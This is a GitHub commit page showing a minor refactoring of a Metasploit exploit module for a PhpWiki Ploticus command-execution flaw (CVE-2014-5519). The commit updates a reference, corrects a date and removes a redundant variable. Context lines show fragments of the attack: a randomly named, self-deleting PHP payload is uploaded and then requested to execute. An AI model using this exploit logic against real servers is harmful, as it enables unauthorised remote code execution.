Skip to content

Commit 7a7b6cb

Browse files
author
Vincent Herbulot
committed
Some refactoring
Use EDB instead of URL for Exploit-DB. Remove peer variable as peer comes from HttpClient.
1 parent 4c615ec commit 7a7b6cb

File tree

1 file changed

+3
-4
lines changed

1 file changed

+3
-4
lines changed

modules/exploits/multi/http/phpwiki_ploticus_exec.rb

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,7 @@ def initialize(info = {})
2727
[
2828
[ 'CVE', '2014-5519' ],
2929
[ 'OSVDB', '110576' ],
30-
[ 'URL', 'http://www.exploit-db.com/exploits/34451/']
30+
[ 'EDB', '34451']
3131
],
3232
'Payload' =>
3333
{
@@ -41,7 +41,7 @@ def initialize(info = {})
4141
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
4242
],
4343
'DefaultTarget' => 0,
44-
'DisclosureDate' => 'Sept 11 2014'))
44+
'DisclosureDate' => 'Sep 11 2014'))
4545

4646
register_options(
4747
[
@@ -51,7 +51,6 @@ def initialize(info = {})
5151

5252
def exploit
5353
uri = target_uri.path
54-
peer = "#{rhost}:#{rport}"
5554

5655
payload_name = "#{rand_text_alpha(8)}.php"
5756
php_payload = get_write_exec_payload(:unlink_self=>true)
@@ -74,7 +73,7 @@ def exploit
7473

7574
upload_uri = normalize_uri(uri + "/" + payload_name)
7675
print_status("#{peer} - Executing payload #{payload_name}")
77-
res = send_request_raw({
76+
send_request_raw({
7877
'uri' => upload_uri,
7978
'method' => 'GET'
8079
})

0 commit comments

Comments
 (0)